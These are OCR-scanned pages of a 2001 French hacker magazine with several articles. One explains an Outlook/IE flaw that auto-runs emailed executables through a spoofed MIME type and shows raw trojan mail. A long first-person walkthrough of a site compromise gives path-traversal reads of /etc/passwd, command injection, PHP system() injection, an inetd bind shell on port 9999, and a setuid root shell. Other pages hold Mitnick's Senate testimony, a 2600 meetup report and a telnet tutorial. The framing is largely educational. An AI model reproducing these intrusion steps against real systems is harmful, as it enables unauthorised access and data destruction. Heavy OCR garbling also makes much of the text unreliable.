perso de Hackerz Voice 4 pour avoir une
1dée de comment ca fonctionne).

Pensez 4 toutes ces administrations, ces
grosses ou petites entreprises, ces services publics,
et méme certains services ministériels et
forces del'ordre, mais aussila quantité incroyable
de particuliers se connectant  Internet avec
unmodem... quiudlisentrégulierementlesys-
teme d’exploitation (qui devrait sappeler
systeme exploitable!) de %#§!&oft. Il est temps
de s'affoler un peu !!! La menace est réelle :
les antivirus sont innéficacescontre un tro-
jan “fait maison”, et méme si vous avez pensé
a installer les patches que Microsoft a fini
par sortir, il suffira & un adversaire décidé
d’artendre la découverte d’une prochaine
faille (www.securityfocus.com) et de I'exploi-
ter avant que vous n'aycz réagi. ... Quand

cen’est pas Microsoft quiadu mal a suivre: 'in-
fo a été publiée par Juan C.G. Cuartango
sur internet le 30 avril, Microsoft en avait
été informé 3 semaines avant, et pourtant les
patches fournis étaient inopérants, car ils
prétendaient dans de nombreux cas que l'or-
dinateur etait déja protégé et n’avait pas
besoin d’un correctif!Ilyaeuune periode d’une
semaine pendant laquelle l’expfoit érait dis-
ponible publiquementsurle net, etaucun patch
valable n’etait disponible, mettantainsi en dan-
ger lasécurité de tous. D’ailleurs, le patch actuel
a toujours un bug, car il donne la possibilité
a l'utlisateur d’ouvrir le fichier joint (le pro-

ramme du pirate) en parlant de “fichier” au
ﬁeu de “programme”. Or celui-ci peut cacher le
fait qu'il est exécutable en apparaissant avec
un nom comme “readme.txt”... sélectionner
“ouvrir” au lieu de “enregistrer sur le disque”

sera fatal.

De plus, seul le site securiteam.com (excel-
lent d’ailleurs) avait repris I'information, les
autres grands sites comme securityfocus ou pac-
ketstorm restant muets. Pression de la part
de qui-vous-savez pour minimiser I'affaire ?
Toujours est-il qu’un célebre site de news
online titrait sur “un trou de sécurité met-
tanten jeu IIS, IE et Exchange panique la firme
de Richmond”, alors qu'au meme moment
le trou 100 fois plus alarmant dontje vous parle
avait été annoncé depuis plusieurs jours. Il
est clair que de nombreuses machines un
peu sensibles ont pu etre attaquées pendant
cette période, et n'ont aucun moyen de s'en
rendre compte aprés coup.

Commext se protéger des windows-hackers ?

Aller régulierementsurle site de Microsoft pour
installer les derniers patches et service packs,
utiliser un antivirus a jour qui vérifie I'inté-
grité des c-mails que vous recevez, interdire 'exé-
cution de javascript et des contenus ActiveX
dansson browser et son logiciel de mail, ne jamais
utiliser Internet Explorer ou Outlook, désac-
tiver le partage windows (samba, netbios),
installersi possible un firewall personnel comme
Conseal ou un détecteur d’intrusions... et
rester informé desderniéres techniques utilisées
par les pirates, car ces derniers ont toujours
une longueur d’avance sur les contre-mesures
existantes. Mais tout ceci est trés lourd a
gérer, difficile quand il y a un parc important
d’ordinateurs et impossible pour lagrande majo-
rité des urilisateurs (qui ne comprennent
généralement rien & ces subiilités informatiques).
Quant A moi, j'ai préféré installer linux !
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Windows 98, Ne et 2000 rend 70% des ordinateurs

ar n'importe quel newhie !

Comme vous le savez tous, il est possible d’envoyer un mail contenant un fichier attaché
de type exécutable, par exempll: un .exe ou .com, un script .vbs, ou encore un .bat
(fichier batch de commandes DOS). En écrivant le mail en format HTML et en insérant
le code ci-dessous dans le corps du mail, on demande au logiciel qui va lire le courrier
d’ouvrir automatiquement le fichier attaché.

<lframe sr¢=3Dcid:NOM_OBJET> </iframe>
Ce dernier étant un exécutable, il sera...... exécuté, oui: le hacker peut ainsi installer un

trojan pour contrdler Pordinateur de la victime, ou — un peu moins subtil — lancer un
fichier .bat contenant une commande comme “format c: /autotest”... !I!

Le mail tel qu'il est recu par le logiciel, en format brut, est :

Date: Thu, 31 June 2001 23:37:02 +0100
To: victime@lamer.ipt.aol.com
From: Bighdcker <BigH4cker@fhi.com>
Subject: executable inclus... [;-)]
X-Mailar: QUALCOMM Windows Eudora Version 6.9.3
Mime-Version: 1.0 i
Content-Type: muitipart/mixed; H
boundary=" 1789 == "

_ 179971 R
Content-Type: text/htmi; charset="us-ascif"
<HTML> .
<HEAD>
</HEAD>
<BODY bgColor=3D#fitH >
TROJAN

Content-Type: application/octet-stréam;
Content-Transfer-Encoding: hase64

Content-Disposition: attachment; filename="TROJAN.EXE"
Content-ID: <TROJAN>

TVgQARMAAAAEAAAA//RARARAAARA4TugdAtAnNIbgBTMORVGhp

cyBwemSncmFHENbmSVICBZSBYdWAgaWAYRESTIET ARARA= =
179870888=

Bien entendu, en temps normal, un message d’avertissement apparait demandant a I'utilisa-
teur 'il veut vraiment lancer le programme joint au mail.

Mais cette protection peut étre contournée en faisant croire que 'attachement n'est pas un
Fro{framme exécutable mais un fichier d’un autre type, comme un fichier audio .wav. Il suf-
it donc de remplacer le type MIME du fichier par audio/x-wav au lieu de application/octet-
stream, pour que le programme se lance automatiquement dés la lecture du mail ! En effec
Windows, ou plutét Papplication associée au type MIME, va ensuite se baser sur les pre-
miers octets du fichier pour déterminer son type et 'ouvrir en fonction de cela, et non sur
le type MIME ou sur I'extension du fichier. A noter que ceci ne fonctionnera pas si Win-
dows Media Player (qui est 'application associée aux .wav) est la version 7, mais si c'est
votre cas vous n'étes pas 4 l'abri pour autant : cette version posséde un autre trou de sécuri-
¢, et surtout d’autres types mimes peuvent étre également vulnérables (shockwave-flash...)

Pour envoyer un tel mail tueur, un pirate devra écrire son propre client de messagerie qui
enverrales programmes attachés avec un typeaudio/x-wav au lieu du type habituel. Evidemment,
ce programme un peu spécial donneraunc fausse adresse mail dorigine, et fera passer la connexion
avec le serveur mail par des proxies publics ou des machines déja piratées, afin de cacher son
adresse IP. Il peut aussi choisir d’envoyer le mail 2 la main en faisant un telnet sur un ser-
veur sendmail (port 25), ou bien I'envoyer avec un logicicl normal mais en passant par un
EmXK local qui va changer 4 la volée les quelques octets & modifier. Bref il n'a que embarras
u choix !

Une fois de plus, une fonctionnalité pas forcément utile de win$ décuple la portée du pro-
bléme : si la victime n’utilise pas un logiciel de mail vulnérable, il reste la possibilité de
Pinciter & aller sur une certaine page web ol le pirate aura mis un lien vers un fichier
hack.eml contenant le code du mail tueur en simple format texte. Internet Explorer interprétera
un simple clic sur un lien vers un tel fichier comme une demande d’ouverture du mail cor-
respondant. Le programme attaché au mail sera donc exécuté immédiatement ! Démons-
tration impressionnante sur htep://www.kriptopolis.com/cua/emlhtml Cliquez sur une image,
et votre ordinateur affichera une fenétre vous informant qu’il vient 3& créer le fichier
C:\deleteme. txt sur votre disque dur...

Le codte du mait une fois modifié est

Date: Thu, 31 June 2001 23:37:02 +0100

To: victime @lameript.aol.com

From: Big4cker <Bighdcker@fbi.com>

Subject: executable inclus... [;-)1

K-Mailer: QUALCOMM Windows Eudora Version 6.9.3

Mime-Version: 1.0 |

Gontent-Type: muRtipart/mixed; !
boundary=":

:_178970898:
Content-Type: text/html; charset="us-ascii"

<HTML>

Content-Disposition: attachment; filename="TROJAN.EXE"
Content-D: <TROJAN>

TVROARMAAAACARAN AAADARAAM 4 ATNI BTN VG
nﬁwmﬂncnﬂﬂﬂ:bnﬁvﬂﬂﬂﬂkyﬂ:nﬂ;gﬂﬂlmm=

La morale de I'histoire, Cest qu'il n'y a pas besoin de talents extraordinaires pour mener
une attaque capable de contourner Ja majorité des dispositifs de sécurité qui peuvent étre
mis en place. Il ne Sagit pas vraiment d’un bug, mais plus d’un probléme de conception de
Windows qui décide du type de fichier en s'appuyant parfois sur son extension, parfois sur
ses premiers octets, lparfois sur le type MIME... La complexité de ce syst¢me g’exploita-
tion, qui met en relation de nombreux composants pour une plus grande convivialité
(liens OLE, objets ActiveX ...), le rend vulnérable. La sécurité n’est pergue que sous la
forme de patches censés résoudre les probleémes quand ils sont publiés. Mais combien de
failles restent a trouver, et combien sont actuellement connues et exploitées uniquement
par des individus ou des organisations souterraines ?

Un des objectifs de mes articles est de “décrypter” pour vous le jargon des experts en sécu-
rité, dont les rapports sont disponibles sur des sites spécialisés, pour montrer li vraie portée
des menaces et des méthodes utilisées actuellement par les pirates du monde entier. Ces
informations ne sont pas assez divulguées (pourquoi ? ¢’est moins médiatique ?), on patle
beaucoup des virus alors que les dégats dus & un pirate mal intentionné peuvent étre beau-
coup plus pernicicux, bien que plus rares. J’espére pouvoir ainsi tordre ll)e cou a de fausses
idées comme “on ne peut pas attraper un virus par mail si on ne clique pas sur un attache-
ment et si on a désactivé le scripting”, ou encore “jutilise un firewall qui interdit tous les
ports, je ne peux donc pas me faire pirater”. Attention donc, je ne prone pas le piratage, et
Je préviens les inconscients qui s’y intéresseraient dans un but “non pur” qu'ils risquent
gros, et que méme les pros comme Kevin Mitnick finissent en taule un jour ou l'autre...
Le concept d’hacktivisme est tout de méme intéressant, c’est-a-dire le “hack moral” contre
des sociétés ou des organisations qui le méritent bien (un site illégal pro-nazi pourrait ren-
trer dans cette catégorie). Mais il faut faire preuve de beaucoup de discernement. .. et com-
ment éviter 'anarchie et une justice trop expéditive ? Ce concept est encore jeune et a
besoin de trouver des garde-fous, mais on en patle de plus en plus...

La sécurité informarique est un domaine qui intéresse tout le monde, car chacun pourrait
étre un jour la victime d’un hack, de la part d’un ex-ami, d’un concurrent, ou pire... Voila
pourquoi il faut en parler, si le grand public se désintéresse de la question les ordinateurs
de chacun seront ouverts A tous les vents, et seules les grosses compagnies pourront se
payer des experts pour sécuriser leurs systémes. On voit vite sc profiler le spectre de Big
Brother... Un Big Brother non officiel, caché, mais présent tout de méme, qui aurait Ja
possibilité d’accéder aux informations les plus intimes concernant les personnes. Bientét
tout le monde vivra une partie de sa vie virtuellement, sur Internet. Les e-mails, les jour-
naux intimes, le télécravail, tout passe et passerade plusen plus par'informatique et les réseayx.
Alors, si certaines personnes — nous tous - savent ouvrir les yeux et oser pointer du doigt ce
quelesautresveulent ignorer, peut-étre pourra-t-on conserver cette petite partde libertéerd’in-
timité qu’on nous grignote chaque jour un peu plus.

Fozly
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" Je mapnelle Kevin Mitnich
J6 M'adresse 4 vous aujourd fu ..”

Pour la premiére fois en frangais, voici le texte intégral du témoignage de Kevin Mitnick devant le Comité des Affaires
Gouvernementales du sénat Américain. Ce témoignange en forme de discours, prononcé par Mitnick le 02 mars 2000, demeure un
document fondamental de la Hackhethik Attitude.

A connaitre absolument. (traduit de I'américain par NIVO)

(" “ Honorahle Président Thompson, messieurs les sénateurs distingués et Membres du comite : )

Je m’appelle Kevin Mitnick. Je m'adresse a vous aujourd’hui pour parler de vos efforts pour créer une législation afin d’assurer la sécurité et I'efficacité des systémes
d’information appartenant et opérant pour le gouvernement fédéral.

Je suis un autodidacte. Mon passe temps en tant qu'adolescent était d’étudier les méthodes, les tactiques et les stratégies utilisés pour contourner la sécurité informa-
tique, et apprendre le fonctionnement des systémes informatiques et de télécommunications.

En 1985,j°ai regu avec les félicitations un dipléme sur les programmations et les systémes informariques d’une université technique de Los Angeles, Californic, pour
poursuivre avec succes un projet post-universitaire portant sur les applications a haute sécurité fonctionnant sur un systéme d’exploitation informatique. Ce projet
post-universitaire éait ['un des tout premiers exemples du “recrutement du Hacker : “ les administrateurs de la faculté s'étaient rendu compre que je piraais leurs ordi-
nateurs sans qu'ils puissent faire quoi que ce soit, ainsi ils m’ont demandé de créer une sécurité pour éviter un accés non-autorisé par d’autres.

Jai 20 ans d’expérience dans le détournement des systémes informatiques, et revendique avoir compromis tous les systémes avec un accés non autorisé que jai visés.
J'ai 2 ans d’expérience en tant que détective privé, et mes responsabilités étaient de localiser les personnes et leur capacité a uriliser les techniques de Social engineering.

Mes expériences et le succes que j"ai & entrer et 2 obtenir une information des systémes informatiques attira opinion publique quand j’ai obtenu les manuel pour le
COSMOS (Computer Systems for Mainframe Operations) utilisés par Pacific Bell.

10 ans aprés, le roman “cyberpunk , publié en 1991, se voulait étre la “vraie “ pratique de mes actions qui ensuit 2 mon arrestation en 1988 d’une inculpation fédéra-

le. Un des auteurs du roman a écrit des faits similaires fictifs & mon sujet pour le New York Times, pour en faire la couverture du 4 juiller 1994. Toute cette histoire fic-

tive m’a catalogué sans raison, sans justification ni preuve comme “le cybercriminel le plus recherché du monde . Par la suite, les rapports médiatiques ont dénaturé

cette revendication en une fausse pour me proclamer faisant partie d’étre le premier pirate dans la liste noire du FBI “des 10 les plus recherchés “. Cette fausse exagéra-
«

tion a été répéiée récemment lors de mon apparition dans I'émission de CNN “ Burden of Proof “ du 10 février 2000.Michael White, de “ I"’Associated Press “, a
enquété aupres du FBI sur cette affaire, et les représentants du FBI ont nié m’avoir inclus dans leur liste noire.

Jai pu accéder sans autorisation dans les systémes informatiques des plus grandes entreprises de la planéte, et pénétrer dans les ordinateurs dont la résistance au pirata-
ge est la plus développée. J'ai utilisé les moyens techniques et non-techniques pour obtenir le code source de plusieurs formes de télécommunication existant pour étu-
dier les faiblesses et le fonctionnement interne des machines.

Aprés mon arrestation en 1995,jai été détenu sans aucun proces, sans autorisation de caution et sans méme vérifier les preuves contre moi, qui sont des circonstances
sans précédent aux USA d’aprés les recherches faites par mon équipe de défense. En mars 1999 j’ai plaidé coupable pour fraude informatique et téléphonique.j’ai été
condamné 4 68 mois en prison fédérale avec 3 années de liberté surveillée.

Les conditions de la liberté surveillée qui m’ont été imposées ont été les plus restreintes jamais imposées sur un détenu de la cour fédérale aux USA, toujours selon les
recherches de mon équipe de défense. Les conditions de la liberté surveillée incluaient, et non limité 3, une interdiction formelle de possession ou d’usage, quelles
qu'en soient les raisons, de ce qui s'en suit : téléphones cellulaires, ordinateur, ou n'importe quel logiciel informatique, périphérique ou assistant personnel, modems,
tout ce qui puisse permettre I'acces A tout réseau informatique, et n'importe quel autre équipement électronique disponible ou de technologie plus avancé et pouvant
ére converti d’une fagon permettant, ou possédant déja la capacité, d’accéder 4 un systéme informatique, un réseau informarique ou de télécommunication.

Pour ajouter 2 ces extraordinaires conditions, je n'ai pas le droit d’agir en tant que consultant ou conseiller pour un particulier ou pour une boite engagés dans toute
activité reliée a I'informatique. Je ne puis aussi accéder 2 aucune forme d’informatique, que ce soit des réseaux ou tout autre moyen de communication sans-fil seul ou
par le biais d’'un ters personne.

Jai été relaché de la prison fédérale le 21 janvier 2000, il y a tout juste 6 semaines. ]’ai purgé 59 mois et 7 jours, aprés avoir réduit de 180 jours ma détention pour
bonne conduite. J’ai maintenant le droit d’avoir une ligne téléphonique fixe “

%,

Kevin Mitnick

la partie tednique de ce document, dans laquelel Kevin explique dans le détail les méthodes d'intrusion qui I'ont

conduit en prison , sera publiée intégralement dans le prochain manuel d’"HAckerz Voice, disponible des le 6 aot.
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Le 2600 francais, version revival, $'est réuni en douce a Paris.
Hackerz Voice y était, raconte, et $'entretient avec I'initiateur du groupe

Vendredi 6 avrl,, 18 heures, place o'ltalie

C’est devant le cinéma Gaumont
que les participants au 2600 se don-
nent rendez-vous. Pour étre honné-
te, il y a tellement de monde dans
ce carré de béton quiil est difficile
de différencier, les amoureux du
cinéma, la police et les passionnés
informatiques. Il faudra attendre 5
minutes pour voir petit & petit des
personnes se regrouper, se parler. Ca
y est le contact est pris, il est clair
que les participants ne se connais-
sent pas, sauf par le web.

Lorganisation 2600 France est un
regroupement non officiel under-
ground de cybernautes ou d’infor-
maticiens passionnés par la sécurité
des systemes informatiques Le but
de Vorganisation est d’'une part de
partager des connaissances dans ce
domaine au sein du meeting public

et ouvert A toutes personnes intéres-
sées qui a lieu le ler vendredi de
chaque mois sur Paris comme veut
la coutume des meetings 2600 dans
e monde entier. D’autre part, de
rechercher et de solutionner des
failles de sécurité, de créer et de tes-
ter, des logiciels informatiques au
sein du 2600 labs. Lorganisation
agit pour le bien de la communauté
planétaire en faisant prendre
conscience des dangers que compor-
tent les réseaux informatiques.

18 heures 15

Nous sommes une vingtaine de per-
sonnes. Moyenne d’4ge 23 ans. On
se demande qui est l'organisateur du
2600. Personne ne le sait, le mystere
doit rester. Alors motus et bouche
cousue. On se décide a bouger. Les
participants ne sont pas paranos
mais I'un d’entre eux a repérer une

petite dame s'approchant du groupe
toutes les minutes, en alternance
avec un homme plutét bon chic
bon genre. Y aurait-il dans le grou-
pe des personnes qui se reproche-
raient des choses ?

18 heures 20

Nous voila tous attablés au sous-sol
du Mac Donald du quartier. On ne
perd pas les bonnes habitudes. Ce
restaurant a dd recevoir les plus
imaginatifs des informaticiens. Le
premier meeting du nom y venait
déja bosser ses amateurs de sécurité
informatique. Lambiance détendue,
tourne en véritable exposé. On y
patlera cartes bancaires, modem
dans les feux rouges et bien sur de
virus. Les ordinateurs portables
jaillissent, les démonstrations ne
tardent pas a suivre.

HES

Entretien avec celui qui, dans 'ombre pour l'ins-
tant, veut relancer le meeting du 2600 en France.
NB : Relancer ne veut pas dire diriger car le 2600
m'a pas de chef, pas de groupe artitré.

HYV : Tu as voulu relancer le 2600, pourquoi ?

- Refaire naitre un club de rencontre de spécialiste
de la sécuricé ex de I'informatique ayant pour but
de trouver des techniques, des protections. Mais
pas d’enfreindre la loi.

HV : 1l va y a de tout et du n’importe quoi, vous
faites un trie ?

- Nous allons accepter tous le monde du moment
qu'il y a une vraie motivation. N'importe quel
niveau sera accepté. De toute fagon, il n'y a pas de
responsable visible, donc...

HYV : Motivé par quoi ?
- Motivé par Penvie d’apprendre plus et mieux.

HYV : Ca va étre difficile de controler. La limite se
trouve ou ?

- Je sais ¢a va étre tres difficile a gérer. On va faire
¢a dans une discrétion plus importante.

Piratage live : comment les pirates parviennent & “DEFACER"
fles sites weh avec PERLETPHP @ @ @ @

Mais comment font-ils pour modifier aussi
facilement les pages web sur Internet ? Les
captures d'écran de nombreux "déface-
ments” de sites francais sont disponibles sur
le musée des sites piratés de zataz.com. Ces
attaques, pas trés discrétes, permettent par-
fois aux hackers de diffuser leurs idées, mais
hélas le plus souvent leur seul but est de
mettre leurs pseudos pour une gloire ephé-
mére. Pour ce faire deix types d'attaques
sont utilisés. Le but est de gagner des droits
en écriture sur le fichier index.html du ser-
veur, pour le modifier.

Premitre méthode, I'exploitation d'un ou
plusieurs bugs d'un serveur tournant sur la
machine visée, via des "exploits”, permet de
lancer des commandes sur la machine avec
I'identité de root, le super-utilisateur, et
donc de modifier tout le site. Mais si le site
est correctement patché les chances d'obte-
nir un root i distance de cette maniére sont

faibles.

Deuxi¢tme méthode, la scule capable de pas-
ser outre un firewall : le pirate travaille uni-
quement sur l'acces heep sur le port 80 (for-
cément autorisé par le firewall), et utilise les
erreurs de configuration du serveur web, les
failles des scripts cgi, des Server Side Inclu-

de et de php.

Remarquez qu'en ce moment les nom-
breuses failles du serveur web de Microsoft
font la joie des scripts-kiddies 4 la recherche
d'un hack facile !

Voici la description garantie 100% authen-
tique du defacage d'un site web, que j'ai
mené en quelques heures pour un pote qui
voulait tester sa soi-disant sécurité. Cet
article sera utile aux administrateurs sou-
cieux de leur sécurité et aux programmeurs
de scripts perl, et montre que la sécurité glo-
bale d'un site peut etre détruite si un seul
utilisateur met en place un script cgi vulné-
rable. Surveillez vos arriéres, sinon un jour
votre belle page se trouvera toute bar-
bouillée !

Premiére étape, un scan de www.monsite.fr
avec nmap me montre qu'un firewall filtre
les acces depuis Internet, n'autorisant que le
ssh et le web. J'apprends en faisant un petit
"telnet www.monsite.fr 80" et en tapant
"HEAD / HT'TP/1.0" que c'est un serveur
apache qui tourne sur une distribution red-
hat de linux, avec le module PHP4. Pas de
failles de sécurité connues. C'est donc parti
pour la deuxieme méthode, je vais sur la
page web des inscriptions du site, ot on me

\,

HV : Ca a le gofit du CCC, ¢a a la couleur du
CCC, mais ce mest pas le CCC ? Tu n'as pas peur
d’étre récupéré comme le CCC ?

- Ca va étre compliqué gérer. Il faudra aussi se
limiter dans le strict cadre de la loi pour en pas
avoir de probleme avec la justice par la suite.

demande de remplir une "form", constituée
de champs nom, prénom, adresse, etc...
L'affichage du source de cette page me
donne des renseignements trés intéressants.

Tout d'abord, quand on clique sur le bou-
ton "OK" les données sont envoyées par la
méthode POST 4 un script appelé inscrip-
tions .cgi. Les scripts cgi sont des pro-
grammes exécutables destinés 2 étre appelés
par le serveur web, par exemple dans ce cas
pour envoyer un mail prévenant de |'ins-
cription. Ils sont souvent stockés dans le
repertoire /egi-bin du serveur. Ils peuvent
&tre écrits en n'importe quel langage, mais
le plus répandu est le perl. Tl y a de méme
les scripts asp sous windows. Leur probleme
est qu'ils sont exécutés sur la machine dis-
tante, avec les droits d'un utilisateur nor-
mal, appelé par exemple "nobody". Si le
script perl ne vérifie pas que les parametres
que je lui fournis sont corrects, il y a
moyen d'en profiter pour exécuter n'impor-
te quelle commande !

J'ai donc recopié la partie du code html
appelant le script cgi sur mon disque dur
(pour pouvoir le modifier), en remplagant
l'appel au script par l'url compléte ou le
trouver :

]

<FORM
ACTION=http://www.monsite.fr/cgi-
bin/inscriptions.cgi method="post">
<input name=logfile type=hidden
value=inscrip log>
<input name=mailto type=hidden
value=inscrip@monsite.fr>
<input name=confirm type=hidden
value=confirmation. txt>
<input name=subject type=hidden
value="Inscriptions">
<FONT face="arial","courrier"
size=2><FONT COLOR="black"><img
sre=ret.gif width=5
height=1>Nom</FONT></font><BR>
<img sre=ret.gif width=10 height=1><input
TYPE="text" NAME="nom" SIZE=30
MAXLENGTH=30 VALUE="">
()
Ho ho, intéressant ca, des champs cachés
donnent I'adresse ot on envoie le mail, le
nom d'un fichier de log, et le nom d'un
fichier de confirmation, contenant certaine-
ment le texte que I'on regoit par mail :
"merci, votre demande va etre traitée..”.
Suite page suivante

.
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Mais &'abord, j'ai essayé
les failles classiques. Le
script étant probable-
ment en perl, il appelle
certainement la com-
mande open{) pour lire et
ecrire les fichiers log et
confirm, et pour envoyer
le mail.

Par exemple, si la com-
manade est open(MAIL, "I
sendmail $mailta”), en
mettant dans la variable
mailto la valeur
"totoayrien.fr ; is” la
commande deviendra
"sendmail totoarien.fr ;
Is” ce qui enverra le mail
mais exécutera aussi la
commande "ls” aussitot
apres. Voir les références
pour une description
compléte de ce type de
failles, mais ce n'est pas
ce qui a fonctionné ici.

HACHERZ VOICE/JUTLLET 2001

Je me suis donc rabattu sur le champ
"confirm" : il ne comportait pas d'indica-
tion de path, on peut donc penser que le
path était rajouté par le script lui-méme,
par exemple /wwwi/site/cgi-bin/confirma-
tion.txt. Mais si je donne comme nom de
fichier ../../../etc/passwd... Oui, vicroire, le
texte contenu dans le mail de confirmation
que je regois est bien le contenu du fichier
de mot de passe ! En effer /wwwisite/cgi-
bin/../../../etc/passwd cotrespond au fichier
fetc/passwd, car le ".." fait revenir en arriére
dans I'arborescence des répertoires.

Ca ne m'aide pas beaucoup, car les shadow
passwords sont activés, mais ca me permet
de lire tous les fichiers et en particulier le
code source de inscriptions.cgi. C'est bien
un script perl, mais les failles classiques vues
au-dessus ne pouvaient pas fonctionner car
les fichiers sont toujours ouverts avec une
indication de lecture ou d'écriture par un
signe inférieur ou supérieur:
open(FICHIER, ">$nom"). Et la comman-
de pour envoyer le mail est open(MAIL,
“"sendmail -t"). Grave erreur cependant, le
programmeur faisait confiance aux données
venant des champs cachés de la page web...
1l n'y avait donc aucune vérification, que ce
soit sur le nom du fichier de confirmation
ou sur le nom du fichier de log.

Tiens tiens, d'ailleurs ce fichier inscrip.log,
que contient-il ? Je regarde et je vois,
comme prévu, tous les champs nom, pré-
nom, etc.... que je fournis. En remplacant
inscrip.log par ../index.html, je peux donc
écrire sur ce fichier, l'affaire est dans le sac
12 Non, pas si vite, le script tourne avec les
droits de l'utilisateur www (comme je I'ai
su par la suite), il ne peut donc pas écrire
dans un fichier possédé par un autre utilisa-
teur, ce qui etait le cas. En plus, le fichier
de log créé a un formatage spécial rajoute
par le script, pas trés adapté & une page
heml... Par contre, le répertoire cgi-bin doit
appartenir a l'utilisateur www, puisque c'est
la-dedans que le fichier de log est créé.
Tiens, d'ailleurs, cela veut dire que je peux
y accéder depuis mon navigateur préféré !
Er oui, I'adresse http://www.monsite.fr/cgi-
bin/inscrip.log m'affiche le log de toutes les
personnes qui se sont inscrites... Quelle
erreur de placer un tel fichier  cet endroit !

Bon, c'est maintenant qu'il faut se souve-
nir du début. PHP est activé sur ce ser-
veut... Un coup d'oeil au fichier de confi-
guration d'apache m'informe que tous les
fichiers ayant une extension .html seront
d'abord parsé par le module php avant
d'etre envoyés. Clest-a-dire que si la page
html demandée contient une commande
php du type <?phpinfo()?>, elle sera exécu-
tée sur la machine locale par le module php.

| page précedente

“ Eroui, c'est aussi simple que cela! Je peux maintenant me connecter en telnet

sur le site, avee l'identité de www sans avoir & fournir de mot de passe”

La solution est alors simple : j'ai remplacé
"inscrip.log” par "testhtml”, et dans le
champ adresse j'ai écrit la commande :
<?system("whereis inetd");?>. Ensuite, je
vais avec mon browser a l'adresse
hetp://www.monsite.fr/cgi-bin/test.html. Et
la, surprise, ca fonctionne nickel, voila ce
que j'obtiens :

[[linetd: fusr/sbin/inetd /etcfinetd.conf
lust/share/man/man8/inetd.8.gz || Wed Jun
13 00:57:26 2001

Je peux donc exécuter des commandes !!
Mais comment simplifier tout ca ? En
ouvrant un shell grice 4 inetd sur un port
élevé

<2system("echo 9999 stream tcp nowait
www /bin/sh -1 > /tmp/conf");?>
<?system("/usr/sbin/inetd /tmp/conf");?>

Ert oui, c'est aussi simple que cela ! Je peux
maintenant me connecter en telnet sur le
site, avec l'identité de www, sans avoir &
fournir de mot de passe. (Quand une
connexion est réalisée sur le port 9999, le
demon inetd va lancer le programme spéci-
fié pour gérer la connexion, ici le shell
interactif "/bin/sh -i").

telnet www.monsite.fr 9999
Is /;

bin -

boot

dev

etc

id;
uid=25(www) gid=25(www)
groups=25(www)

cd /root;

Is -la

total 147

drwxr-xr-x 6 nobody root 1024
Jun 12 22:35 .

drwxr-xr-x 20 root  root 1024 Jun
11 15:27 ..

~TW-—meem 1root root 7862 Jun
12 22:37 .bash_history

-rw-r--t-- 1 root  root 292 May
18 1999 .profile

drwxr-xr-x 2 root  root 1024
May 18 1999 .ssh

()

lastlog |grep root;

root **Never log-
ged in**

Quoi, root ne s'est jamais loggé alors que
son .bash_histery date du jour méme ?

last |head;

macaroni ftpd9546  Wed Jun 13 00:04
-00:11 (00:06)
nico ts/1
22:37 (00:03)

Tue Jun 12 22:33 -

(...)

Voila, on a trouvé 1'admin, c'est mon pote
nico qui a fait un "su root” une fois
connecté.

cd ~nico;

Is -la;

(o)

-rwxrwxrwx 1 nico nico 1272 Jan 18
2000 addcool

(65

cat addcool | head -n 1;

#!/bin/sh

Quel blaireau, vraiment ! addcool est un
script shell sur lequel tout le monde peut
écrire ! Et bien sur, comme il sert & ajouter
des users, il le lance en étant root... Pas
besoin de se casser la tete, il ne me restait
plus qu'a modifier le script pour créer un
shell setuid dans un répertoire ( "cp /bin/sh
Jusr/bin/sh; chmod u+s /ust/bin/sh".
Quand on lance programme setuid, on
obtient |'identité de !'utilisateur qui possede
le prog, ici root. ) Quelques jours aprs, je
me connecte et je lance /ust/bin/sh... oui,
cay est, je suis root ! Donc je peux modi-
fier sa page web... mais je ne le fais pas et je
lui passe un petit coup de fil.

Voila, vous savez maintenant ce qu'il vous
reste a faire pour protéger votre site ! Les
scripts cgi doivent étre utilisés avec beau-
coup de précautions, surtout ceux que l'on
trouve sur Internet et qui ne sont pas force-
ment bien congus. Petit message aux pirates
qui défacent des sites comme cela : envoyez
plutét un mail 4 I'administrateur pour le
prévenir du probleme, ce sera plus
constructif qu'un défacement facile et inuti-
le qui va vivre quelques heures grand maxi-
mum, et va faire perdre un temps fou 2 un
pov' stagiaire qu'avait rien demandé pour
vérifier I'intégricé du syseme... (c'est du
vécu ! ;-) De toute fagon, il faut tester ce
genre de choses sur les sites de potes qui
sont au courant : allez expliquer au juge
que vous auriez prévenu |'administrateur si
vous aviez abouti dans votre tentative de

hack...
Reférences :

L article sur les failles des scripts cgi

de linux mag.

Larticle du phrack 55 sur le méme théme.

Le texte de __2 sur le hack de madchaz, dispo

sur ouah.
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Les 3 et 1 facons de e connecier sur un hote distant

Depuis peu, je me suis vraimentintéressé ala connexion
sur un héte et ceci avec ou sans sonh consente-

ment

Cette fois-ci, nous allons plutét aborder les réseaux avec leurs
protocoles que de parler de Linux, enfin ce n'est pas vrai
puisque Linux vajouer unrole trésimportantdans lamiseen pied
de nos tentatives de connections.

Nous allons parler de plusieurs protocoles:Telnet, FTP (FileTrans-
fert Protocol) puis des commandes r- et SSH (Secure Shell)

epuis peu, je mesuis vraimentinté-
ressé a la connection sur un héte
et ceci avec ou sans son consen-
tement. Comme je discutais avec
un pote qui a ’ADSL, 14 je tente
une connection telner, je réussis 4 prendre deux
IP, la premiére me refuse la connection (quoi de
plus normal) mais la deuxitme me log.
Je sais pas trop dans quoi je suis, un menu com-
mence 2 s'afficher:
NETOPIA xocex CONFIGURATION
J*étais connecté sur son routeur ! Et 12 des
dizaines de menu, je pouvais installer des filtres,
créer des comptes, en supprimer, je pouvais voir
3 quel heure le routeuravait reu tels et tels paquets,
pourquoi certains avaient été victimes de collisions...
c’est alors que j'arrive 4 un menu beaucoup plus
alléchant, la capacité de me connecter a tous les
ordinateurs du LAN (Local Area Network, le réseau
local théoriquement inaccessible depuis inter-
net), j'avais auparavant remarqué que les ordi-
nateurs possédait le protocole Appletalk (qui est
spécifique Mac...) tous ces renseignements intri-
§uaient mon héte, je pouvais vraimenr rout
aire, je pouvais reconfigurer le routeur de A3 Z
(donc déja pour remédier 2 ce type d'intrusion
veuillez mettre SVP un mor de passe et un nom
d'utilisateur), donc je pouvais via le routeur me
connecter sur n'importe quel ordinateur du

LAN avec Telnet, FTP..
TELNET:

Ligne de commande pour Telnet:

| telnet [options] nom_machine port J

Options :

-d : Mise en route du débogage du terminal

-a : Tente une connexion automatique
-nNoFxtrace: Active le mode trace etenregistre les
données suivies dans le fichier NoFxtrace

-1 Prof: Envoie le nom d'utilisateur "Prof" au
systeme distant pour la connection automatique
port : Indique le N° du port auquel se connecter
sur I'héte,dans le cas olt on ne spécifie pas de
